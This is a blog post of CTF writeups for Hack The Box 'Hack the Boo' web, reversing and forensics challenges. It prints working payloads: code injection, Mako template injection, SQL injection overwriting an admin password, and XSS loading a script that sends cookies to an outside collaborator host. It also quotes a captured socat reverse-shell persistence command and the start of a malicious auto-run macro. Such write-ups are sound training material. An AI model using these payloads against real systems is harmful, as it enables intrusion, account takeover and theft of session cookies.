Hack The Box - Hack The Boo CTF Writeups
Mukarram Khalid • October 27, 2022
ctf htbI participated in Hack the Box - Hack the Boo CTF and learned quite a few new tricks. So I have decided to do a writeup of the challenges.
I was not able to solve all the challenges during the event, so I downloaded the challenge files so that I can try them out later in my local environment. I'll keep updating this blog post if I solve more challenges.
- Web - Evaluation Deck
- Web - Spookifier
- Web - Horror Feeds
- Web - Juggling Facts
- Web - Cursed Secret Party
- Reversing - Cult Meeting
- Reversing - EncodedPayload
- Reversing - Ghost Wrangler
- Reversing - Ouija
- Reversing - Secured Transfer
- Forensics - Wrong Spooky Season
- Forensics - Trick or Breach
- Forensics - Halloween Invitation
- Pwn - Pumpkin Stand
- Pwn - Entity
- Pwn - Pumpking
Web - Evaluation Deck
A powerful demon has sent one of his ghost generals into our world to ruin the fun of Halloween. The ghost can only be defeated by luck. Are you lucky enough to draw the right cards to defeat him and save this Halloween?
We have the challenge files. We see that it's a Python application.
In main.py
, we see that API routes will have the prefix /api
.
We see an API route in routes.py
. There are only two routes. One route pretty much returns static page. The other /api/get_health
looks interesting.
It's expecting a JSON body and the following 3 fields are required.
If we spawn the docker container, we can see this API being called when a card is clicked.
POST /api/get_health HTTP/1.1
Host: 142.93.35.129:31771
Content-Length: 59
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://142.93.35.129:31771
Referer: http://142.93.35.129:31771/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"current_health":"100","attack_power":"65","operator":"+"}
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.15
Date: Sun, 23 Oct 2022 08:37:03 GMT
Content-Type: application/json
Content-Length: 16
Connection: close
{"message":165}
The interesting part is this block of code.
We see that all 3 input parameters are being passed to compile
function to create a code object, which would then be passed to exec
. So there's a possibility of code injection here. The input parameters current_health
and attack_power
are being casted to int
so we can't inject code in there. However, there's no type casting on operator
, which looks promising.
So the code which gets executed would look something the following for our input.
result = 100 + 65
Which returns 165
. We have the possibility to inject arbitrary code in place of +
operator. Let's give it a try.
The following payload returns response in 2 seconds.
{
"current_health": "100",
"attack_power": "65",
"operator": "+__import__('time').sleep(2)+"
}
Which means it works.
However, in order to get a valid response back, we need to do something about the leading 100
because that would force us to only return an integer response, unless we can bypass that somehow. What if we use the multiply operator *
. Any string output would get multiplied by 100
. We can live with that as long as we get the valid output right? We can also replace the first 100
with 1
to make it simpler. Here's what it would look like.
{
"current_health": "100",
"attack_power": "65",
"operator": " * 'A' ;"
}
Now let's read the flag.
{
"current_health": "1",
"attack_power": "65",
"operator": "* open('/flag.txt', 'r').read() ;"
}
And we get the flag.
HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}
Web - Spookifier
There's a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?
We have the source code of another application built using Python Flask.
From the routes.py
file, there's only one route i.e. /
.
It accepts an input parameter text
and calls the spookify
function. The spookify
function is in util.py
.
So the application takes the text
GET parameter and creates a few spooky fonts variations of it. This is what it looks like.
The fourth entry in the list is the input returned as it is.
In util.py
, we know that our input is eventually passed through the format
and render
methods.
The Template().render()
method is part of mako
package, which can lead to server-side template injection vulnerability.
Looking at this list, we can try the known SSTI payloads for mako
.
http://161.35.36.157:31007/?text=${7*7}
Let's try to read the flag file.
http://161.35.36.157:31007/?text=${open('/flag.txt').read()}
HTB{t3mpl4t3_1nj3ct10n_1s_$p00ky!!}
Web - Horror Feeds
An unknown entity has taken over every screen worldwide and is broadcasting this haunted feed that introduces paranormal activity to random internet-accessible CCTV devices. Could you take down this streaming service?
We have the source code of a Python application.
In the entrypoint.sh
file, we see that the application creates a MySQL/MariaDB database and populates the following data.
It hardcodes the admin user password hash but I'm sure we won't be able to crack it. The challenge is not going to be that easy.
Let's dive into the source code.
In routes.py
file, we see that when a user is authenticated, the application renders dashboard.html
template and passes the flag to the template.
However, the flag gets printed on the dashboard only when the authenticated user is admin
, as shown in the following screenshot.
So now, we need to authenticate as admin. I have checked the authentication logic and it seems to be fine. We also have a user registration feature. May be we can trick the application to register another admin user?
Let's take a look at the code.
So the /register
route calls the register
function from database.py
.
In the register
function, we see that there's an SQL injection on line 37
in INSERT
SQL query.
Well, this SQL injection is not going to support stacked queries so we cannot do UPDATE
query to update the password of the existing admin
user. We can only modify the current INSERT
statement. Maybe we can insert another user with username admin
? Would that be helpful? Let's take a look.
But wait, that won't work either because the username
column has the UNIQUE
constraint set. This can be verified in entrypoint.sh
.
The UNIQUE
constraint on a MySQL column means that two rows cannot have the same value for this column. MySQL throws an exception in that case. We can give this a try. Let's spawn the target instance and view the application in the browser.
The is what the register API request looks like.
POST /api/register HTTP/1.1
Host: 178.62.79.95:31900
Content-Length: 221
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://178.62.79.95:31900
Referer: http://178.62.79.95:31900/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"username":"test","password":"test"}
If we try to create a user with username admin
, we get the following error.
However, note that this is not the exception by MySQL I was referring to earlier. This error is returned because of the lines 32, 33
in the register
function.
Before the INSERT
query, the application checks if the username
already exists in the users
table using a SELECT
query. This SELECT
query is not vulnerable to SQL injection. We can bypass this check by not creating the user this way. We can instead exploit the SQL injection to create another user with username admin
. It would at least bypass this check.
Let's give it a try. I'll create a bcrypt hash of a known string because that's what we need to store in the database in the password
column. So 2a$12$BYaLnacnDpAyrW6GqZBva.R/6190ux28gyIvFzV3Cqy5TR9cBiPaq
is the bcrypt hash of makman
. I'll use this as a password.
Here's the payload.
POST /api/register HTTP/1.1
Host: 206.189.117.93:32296
Content-Length: 105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://206.189.117.93:32296
Referer: http://206.189.117.93:32296/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{
"username": "admin\", '2a$12$BYaLnacnDpAyrW6GqZBva.R/6190ux28gyIvFzV3Cqy5TR9cBiPaq')#",
"password": "test"
}
Now, we get the MySQL exception because of the UNIQUE
constraint.
But this reminds me of another neat trick that we can use here.
In MySQL/MariaDB, we can perform the INSERT
query in a way that if there's already a duplicate UNIQUE
column, we can perform an UPDATE
query on the already existing row which has the duplicate value, and it doesn't even require the stacked queries. It would require the use of ON DUPLICATE KEY UPDATE
clause. This is what it looks like.
INSERT INTO users (username, password) VALUES ('admin', 'password-hash') ON DUPLICATE KEY UPDATE username='admin',password='some-known-password-hash';
Here's what the payload looks like in this case.
POST /api/register HTTP/1.1
Host: 206.189.117.93:32296
Content-Length: 105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://206.189.117.93:32296
Referer: http://206.189.117.93:32296/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{
"username": "admin\", '2a$12$BYaLnacnDpAyrW6GqZBva.R/6190ux28gyIvFzV3Cqy5TR9cBiPaq') ON DUPLICATE KEY UPDATE username='admin',password='$2a$12$BYaLnacnDpAyrW6GqZBva.R/6190ux28gyIvFzV3Cqy5TR9cBiPaq'#",
"password": "test"
}
Seems like it worked.
Let's login with username admin
and password makman
.
We have the flag.
HTB{N3ST3D_QU3R1E5_AR3_5CARY!!!}
Web - Juggling Facts
An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?
We have the source code of a PHP application. The challenge name suggests that this would be a type juggling vulnerability.
In the file entrypoint.sh
on line # 100
, we see that the flag is stored in the database table facts
.
INSERT INTO facts(fact, fact_type) VALUES
...
...
...
(
'HTB{f4k3_fl4g_f0r_t3st1ng}',
'secrets'
);
And it's stored as fact_type
of secrets
.
In file index.php
, we see an API route to getfacts
which points to getfacts
method in IndexController
.
If we visit the web application, this is what it looks like.
And it issues the following HTTP request.
POST /api/getfacts HTTP/1.1
Host: 167.71.137.174:30671
Content-Length: 17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://167.71.137.174:30671
Referer: http://167.71.137.174:30671/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"type":"spooky"}
Which returns all the facts having fact_type
of spooky
. So ideally, we should be able to change this request and specify type secrets
to get the flag, unless the application doesn't let us. Let's take a look at the getfacts
method in IndexController
.
There are quite a few checks here which would prevent us to enter type secrets
.
First, the type
JSON key cannot be empty. Second, If we're specifying the type secrets
, the request has to be issued from the localhost 127.0.0.1
. And this is a strict comparison with ===
.
So one thing is for sure, that to bypass these two checks, we cannot send an empty type or a type with a value of secrets
.
Let's see what happens if we do not send the type of secrets
. In that case, the code lands on a switch
case
block. Which looks interesting. Because in PHP, switch
case
performs a loose comparison as mentioned in the PHP docs. Which makes it vulnerable to type juggling attacks.
So the comparison would look like:
$jsondata['type'] == 'secrets'
Now, we cannot supply a type secrets
as input because of the above if
condition with localhost restriction. However, we can supply a value which is not secrets
but still passes this loose comparison.
To figure out what input value we should use, let's take a look at the PHP type comparison documentation.
It says true
compared with any string (php
in this example) should always return true
.
So what if we supply a type
with a Boolean value of true
. This is what our payload would look like.
POST /api/getfacts HTTP/1.1
Host: 167.71.137.174:30671
Content-Length: 13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://167.71.137.174:30671
Referer: http://167.71.137.174:30671/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"type":true}
It works and we get our flag.
HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}
Web - Cursed Secret Party
You've just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?
We have the source code of an application built with Express.js.
In routes/index.js
, we see that there are two routes /api/submit
and /admin
.
And this is what the web application looks like.
We can submit the details on the web page and it issues the following HTTP request.
POST /api/submit HTTP/1.1
Host: 167.71.138.188:32102
Content-Length: 190
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://167.71.138.188:32102
Referer: http://167.71.138.188:32102/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{
"halloween_name": "test",
"email": "[email protected]",
"costume_type": "monster",
"trick_or_treat": "tricks"
}
Once the request is submitted, we get the following message.
Your request will be reviewed by our team!
So it seems like, there's a bot running in the background which would visit the /admin
route and view our submitted data. The /admin
endpoint pulls all the submitted requests from the database and then renders them in the admin.html
template.
However, in admin.html
, we see a problem.
When it outputs the halloween_name
input parameter, it marks it as safe
. Which means that it would not escape it to prevent Cross-Site scripting attacks.
So, now we have a stored Cross-Site scripting vulnerability, and a bot would view it with the permissions of an admin user. Let's see what this bot is and how it works.
We see that the bot authenticates as an administrator by setting an admin JWT token in the cookie. And the payload of this JWT token has the flag. Then it visits the endpoint /admin
to view all the submitted requests and then it deletes them all by visiting the /admin/delete_all
endpoint.
All we need to do is steal the cookies of the bot user by exploiting the stored Cross-Site scripting vulnerability to get the flag. This is fairly easy. Or is it?
There's one catch. The application sets a strict Content-Security-Policy
header. We can see this in index.js
.
This can be very troublesome. Any browser visiting this web application would look at the script-src
directive of the CSP header and decide which JavaScript is safe to load and which is not. For example, any inline injected JavaScript code would not get executed because there's no inline
parameter in the script-src
directive. It won't load any JavaScript hosted on the attacker's domain either.
The only allowed parameters in the script-src
directive are self
and https://cdn.jsdelivr.net
. The self
parameter means that the JavaScript files hosted under the same domain as of the application are safe to load. The https://cdn.jsdelivr.net
parameter means that any JavaScript files hosted on https://cdn.jsdelivr.net
are also safe to load. Have you spotted the vulnerability in the CSP yet? :wink:
The problem with this policy is that literally anyone can host JavaScript files on https://cdn.jsdelivr.net
. To host your JavaScript files on https://cdn.jsdelivr.net
, simply create a public GitHub repository and host your JavaScript files in there. Then you can format the https://cdn.jsdelivr.net
in a way that it would dynamically pull the JavaScript file from your GitHub repository. The format of the https://cdn.jsdelivr.net
should be as follows:
https://cdn.jsdelivr.net/gh/<github_username>/<repository_name>/<file_name>.js
In my case, I created a public GitHub repository and hosted a file evil.js
in there. So for me, this is what the URL looks like:
https://cdn.jsdelivr.net/gh/mukarramkhalid/evil-jsdelivr/evil.js
You can even minify it.
https://cdn.jsdelivr.net/gh/mukarramkhalid/evil-jsdelivr/evil.min.js
This evil.js
gets the cookies and submits them to my Burp Collaborator using an ajax call.
var xhttp = new XMLHttpRequest();
xhttp.open('GET', 'http://y436lpjr4zkl6577bxbgoxfal1rtfi.oastify.com/?' + document.cookie, true);
xhttp.send();
Ok let's submit the /api/submit
HTTP request with the following payload.
POST /api/submit HTTP/1.1
Host: 167.71.138.188:32102
Content-Length: 190
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://167.71.138.188:32102
Referer: http://167.71.138.188:32102/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{
"halloween_name": "<script src=\"https://cdn.jsdelivr.net/gh/mukarramkhalid/evil-jsdelivr/evil.min.js\"></script>",
"email": "[email protected]",
"costume_type": "monster",
"trick_or_treat": "tricks"
}
And as soon as we submit, we receive a hit on our Burp Collaborator with the cookie.
Let's decode the payload of this cookie.
We have the flag.
HTB{cdn_c4n_byp4ss_c5p!!}
Reversing - Cult Meeting
After months of research, you're ready to attempt to infiltrate the meeting of a shadowy cult. Unfortunately, it looks like they've changed their password!
We have a 64-bit non-stripped ELF binary.
$ file meeting
meeting: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=72d8b06e4ca750d5c24395d3349c3121b9b95283, for GNU/Linux 3.2.0, not stripped
Let's open it in IDA.
Looks simple enough.
If we supply the correct password i.e. sup3r_s3cr3t_p455w0rd_f0r_u!
, the application would drop us to a system shell. Let's give it a try.
And we have the flag.
HTB{1nf1ltr4t1ng_4_cul7_0f_str1ng5}
Reversing - EncodedPayload
Buried in your basement you've discovered an ancient tome. The pages are full of what look like warnings, but luckily you can't read the language! What will happen if you invoke the ancient spells here?
We have a 32-bit ELF binary.
$ file encodedpayload
encodedpayload: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header
If we execute the binary, nothing really happens. Let's do a quick strace
on it to trace system calls invoked by this binary.
strace ./encodedpayload
We see that it tries to invoke a write
syscall but fails for some reason. But we don't care because we can see the arguments of the syscall and what it's trying to write.
That is our flag.
HTB{PLz_strace_M333}
Reversing - Ghost Wrangler
Who you gonna call?
We have an ELF binary.
$ file ghost
ghost: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=810d0f9271ec04d80a2eee6ff2afd9367da3c3dd, for GNU/Linux 3.2.0, not stripped
Let's open it in IDA.
In the main
function, a function gets the flag and stores in the flag variable.
But in the printf
statement, it replaces the flag with a bunch of underscores before printing. Let's verify by running the binary.
We can debug the binary using gdb
and add a break point on printf
statement, which should show the flag on the stack. Let's give it a try.
gdb-gef ghost
Let's run the binary.
gef➤ r
Starting program: /home/kali/Desktop/temp/ghost
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
| _| I've managed to trap the flag ghost in this box, but it's turned invisible!
Can you figure out how to reveal them?
[Inferior 1 (process 256856) exited normally]
gef➤
Now, let's analyze.
gef➤ disassemble main
Dump of assembler code for function main:
0x00005555555551c2 <+0>: push rbp
0x00005555555551c3 <+1>: mov rbp,rsp
0x00005555555551c6 <+4>: sub rsp,0x10
0x00005555555551ca <+8>: mov eax,0x0
0x00005555555551cf <+13>: call 0x555555555155 <get_flag>
0x00005555555551d4 <+18>: mov QWORD PTR [rbp-0x8],rax
0x00005555555551d8 <+22>: mov rax,QWORD PTR [rbp-0x8]
0x00005555555551dc <+26>: mov ecx,0x5f
0x00005555555551e1 <+31>: mov edx,0x28
0x00005555555551e6 <+36>: mov rsi,rax
0x00005555555551e9 <+39>: lea rdi,[rip+0xe58] # 0x555555556048
0x00005555555551f0 <+46>: mov eax,0x0
0x00005555555551f5 <+51>: call 0x555555555030 <printf@plt>
0x00005555555551fa <+56>: mov eax,0x0
0x00005555555551ff <+61>: leave
0x0000555555555200 <+62>: ret
End of assembler dump.
gef➤
So we need to set a breakpoint for the printf
call i.e. 0x00005555555551f5 <+51>: call 0x555555555030 <printf@plt>
.
gef➤ break *0x00005555555551f5
Let's run with r
.
As soon as the breakpoint hits, we have our flag on the stack.
HTB{h4unt3d_by_th3_gh0st5_0f_ctf5_p45t!}
Reversing - Ouija
You've made contact with a spirit from beyond the grave! Unfortunately, they speak in an ancient tongue of flags, so you can't understand a word. You've enlisted a medium who can translate it, but they like to take their time...
We have a 64-bit dynamically linked ELF binary.
$ file ouija
ouija: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2cace162c306a34dcfc4837d648d047e2ea339fe, for GNU/Linux 3.2.0, not stripped
Let's run it and see what happens.
It returns Retrieving Key
and then just keeps loading.
Let's open it in IDA or Ghidra.
In the main
function, we see that it has the flag but it's in some sort of unknown encoded format.
After that, it runs a series of complex transformations on each and every character of the flag and prints the actual flag character by character. So, technically speaking, we should be able to get the flag if we just let the binary run.
However, the problem is that it may run for a long time because it uses sleep
functions about 20 times with different intervals. Not just that, sometimes these sleep
calls are within for
loop statements. So running this binary may take a few days to actually print the flag.
We need to figure out a way to bypass these sleep
calls.
There are several ways to solve this problem. Let's go through them one by one.
Patching the binary with Ghidra
The easiest way is to open the binary in Ghidra and patch all the sleep
calls. We can simply replace the interval argument to sleep
from say 10
seconds to 0
second.
For example, the following sleep
call sleeps for 0xa
i.e. 10
seconds.
We can replace that 0xa
with 0x0
to make it sleep for zero seconds.
To do this, right click on the instruction and click Patch Instruction
.
Then replace 0xa
with 0x0
and press enter.
You can see that now the sleep
call has been changed to sleep for zero seconds.
We need to do this for all 20 sleep calls. Which is a little hectic but still doable. Once it's done, we can export the patched binary by clicking on File
and Export Program
. We need to select the output format as ELF
. Save it and execute the new patched binary.
Now it outputs the flag fairly quickly with a lot of other junk.
But we can easily search/replace the output to get the final flag. I used the search pattern \S{2}.*
and replaced with blank to remove all the junk. And then removed all the new lines and spaces with \s*\n*
.
HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}
We can also patch the printf
statements by replacing them with nops 0x90
to get rid of the undesired junk.
LD_PRELOAD Trick
The binary patching method is a little hectic. Another cool way is to override the glibc's sleep
function with a custom one, using the LD_PRELOAD
environment variable. However, the following points should be kept in mind.
- It will replace every call to sleep, not only the ones we don't like, and that can have subtle undesired effects.
- It will not work for suid/sgid programs.
- It will work only for dynamic-linked programs, Not for statically linked ones.
So let's give it a try. I'll be overriding sleep
and all other variants of it.
Create a file nosleep.c
with the following code.
/* nosleep.c */
#include <time.h>
#include <unistd.h>
unsigned int sleep(unsigned int seconds)
{
return 0;
}
int usleep(useconds_t usec)
{
return 0;
}
int nanosleep(const struct timespec *req, struct timespec *rem)
{
return 0;
}
Then compile with:
gcc -o libnosleep.so -shared nosleep.c -fpic
Then, we run the binary.
LD_PRELOAD=./libnosleep.so ouija
And it would print everything without any delay.
I got the idea from this article.
Patching binary with pwntools
We can actually patch binaries with pwntools and it's fairly easy.
We can overwrite the assembly instruction that is at the beginning of the sleep
function with a ret
. This way, if the program enters sleep
function, it'll just return right away. Here's how to do it.
#!/usr/bin/python
from pwn import *
elf = ELF('./ouija')
# Nullify the sleep function
elf.asm(elf.symbols.sleep, 'ret')
# Save the patched binary
elf.save('./ouija.patched')
This script creates a patched binary ouija.patched
.
We can execute the binary and see that it prints everything right away without sleeping.
A quick note, when I was testing out this method, I kept getting the following error in pwntools.
warning: /tmp/pwn-asm-p7k1g6i0/step3 has a LOAD segment with RWX permissions
There's a pull request open to fix this issue but it hasn't been merged yet. Once I made the changes mentioned in the PR, I was able to make it work.
ROT13 Caesar Cipher
This is something I totally missed. Someone mentioned after the event that the flag decoding logic is basically a simple ROT13 (Caesar Cipher) with an amount of 8
, which makes this challenge a lot easier.
Reversing - Secured Transfer
Ghosts have been sending messages to each other through the aether, but we can't understand a word of it! Can you understand their riddles?
We have a stripped 64-Bit ELF binary and a pcap file.
$ file securetransfer trace.pcap
securetransfer: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0457997eda987eb100de85a2954fc8b8fc660a53, for GNU/Linux 3.2.0, stripped
trace.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)
Let's take a look at the pcap file first using WireShark.
The pcap file looks fairly small with only 8 packets.
This seems like a raw TCP socket connection from host 10.13.32.2
to 10.13.32.3
. The first 3 packets are just the handshake. The 4th packet is some sort of initialization command with a value of hex 2000000000000000
. However, in the 5th packet, the first host is sending a data blob to the second host. This is the hex data blob.
5f558867993dccc99879f7ca39c5e406972f84a3a9dd5d48972421ff375cb18c
Then the 6th, 7th, and the 8th packets are just the acknowledgement.
That's pretty much it from the pcap file. We have a random data blob.
Let's look at the binary now using IDA. The binary is stripped so it may be a little hard to understand. However, we see the main
function.
In the main
function, we see that the application sends and receives files. It's kind of a secure file transfer.
When it's sending the file, it calls the function sub_1835
.
In sub_1835
function, we see that it calls another function sub_1529
just before writing the data to the socket stream.
The function sub_1529
looks like a typical AES encryption logic.
We have the key, initialization vector, and we know that it's 256-bit AES encryption in CBC mode.
So, if we think about it, the data blob we received from the pcap file is probably AES encrypted and we already have everything to decrypt it.
Let's give it a try with Cyber Chef.
We have the flag.
HTB{vryS3CuR3_F1L3_TR4nsf3r}
Forensics - Wrong Spooky Season
"I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong." Now there is an internal breach in the
Spooky Network
and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did.
We have a pcap file. Let's open it in WireShark.
We see that host 192.168.1.180
is interacting with a web application hosted on server 192.168.1.166
.
We can see that the host is trying to get a reverse shell from the server using socat
.
If we follow the TCP stream on port 1337
, we see the following communication.
id
uid=0(root) gid=0(root) groups=0(root)
groups
root
uname -r
5.18.0-kali7-amd64
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash
ls -lha
total 20K
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 .
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 ..
-rwxrwx--- 1 root root 1.8K Oct 8 00:04 pom.xml
drwxr-xr-x 3 root root 4.0K Oct 10 17:27 src
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 target
Attacker is trying to make his access persistent.
echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash
The following should be our flag.
echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev | base64 -d
HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}
Forensics - Trick or Breach
Our company has been working on a secret project for almost a year. None knows about the subject, although rumor is that it is about an old Halloween legend where an old witch in the woods invented a potion to bring pumpkins to life, but in a more up-to-date approach. Unfortunately, we learned that malicious actors accessed our network in a massive cyber attack. Our security team found that the hack had occurred when a group of children came into the office's security external room for trick or treat. One of the children was found to be a paid actor and managed to insert a USB into one of the security personnel's computers, which allowed the hackers to gain access to the company's systems. We only have a network capture during the time of the incident. Can you find out if they stole the secret project?
We have another pcap
file. By looking at the pcap file in Wireshark, we see some kind of data exfiltration over DNS.
The host makes a DNS query to the DNS server and the DNS server sends back a response.
We can easily get the exfiltrated data using tshark
.
tshark -r capture.pcap -T fields -e dns.qry.name
This would select the dns.query.name
fields.
But it would return each data row twice i.e. one for the DNS request and second for the DBS response. Let's try to filter only for DNS requests sent by the source IP address 192.168.1.10
.
tshark -r capture.pcap -T fields -e dns.qry.name -Y "ip.src == 192.168.1.10"
We get the data as follows.
504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com
0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com
2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com
d04e300ee0256e1b918fca0ea3dc7ed14a36697b011e6dcb3f.pumpkincorp.com
f9efcd6e74b6f84462137c23eab212057a15b4f15d230eef6f.pumpkincorp.com
b395283882d76083c7465c90c56efbb41935adcfbca722ed7b.pumpkincorp.com
5ea7b2117d8cc35a4a563d3ae0320ce8d3b40de420a6923aa9.pumpkincorp.com
09ce497656ceabea45f240089a7bc4b89f26e2eac1039a03e3.pumpkincorp.com
f3fe4dd784b6350af7419d1cfa3821841662fa05f766e0aca9.pumpkincorp.com
07ae513d50fc01c67f82338a028736962ab8eb29d94842fd3c.pumpkincorp.com
0938fe1af5ddc852becad55fc8dd14c7011d4fc32cb9437ac8.pumpkincorp.com
87b1265ebe93654677ee81b768031d81cbc8b838f8e3ddb12a.pumpkincorp.com
c936b5282b6cb15edeadccb322b75f504b0708076269830501.pumpkincorp.com
000007030000504b0304140008080800a52c47550000000000.pumpkincorp.com
0000000000000018000000786c2f64726177696e67732f6472.pumpkincorp.com
...
...
...
Now we want to remove .pumpkincorp.com
and join all the rows together. We can save the final string to data.hex
as it seems to be hex blobs.
tshark -r capture.pcap -T fields -e dns.qry.name | cut -d '.' -f 1 | tr -d '\n' > data.hex
The first few bytes of this data show that this is basically a zip file. This can be confirmed by looking up the string 50 4B 03 04
on this webpage.
Let's unhex it and save as zip file.
cat data.hex | xxd -r -p > test.zip
Once we open the zip archive, we realize it's basically an excel worksheet. Anyways, we see our flag in file sharedStrings.xml
.
HTB{M4g1c_c4nn0t_pr3v3nt_d4t4_br34ch}
Forensics - Halloween Invitation
An email notification pops up. It's from your theater group. Someone decided to throw a party. The invitation looks awesome, but there is something suspicious about this document. Maybe you should take a look before you rent your banana costume.
We have a docm
file invitation.docm
. Which is basically a word file with an embedded macro. This is one of the favorite ways of attackers to distribute malware.
The easiest way to get the macro VB code out of this file is by using oletools.
python olevba3.py invitation.docm > output.txt
In output.txt
, we see that it was able to extract some VB code.
This is what is looks like.
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
odhsjwpphlxnb
Call lmavedb
End Sub
Private Sub odhsjwpphlxnb()
Dim bnhupraoau As String
CreateObject("WScript.Shell").currentdirectory = Environ("TEMP")
bnhupraoau = sryivxjsdncj()
dropPath = Environ("TEMP")
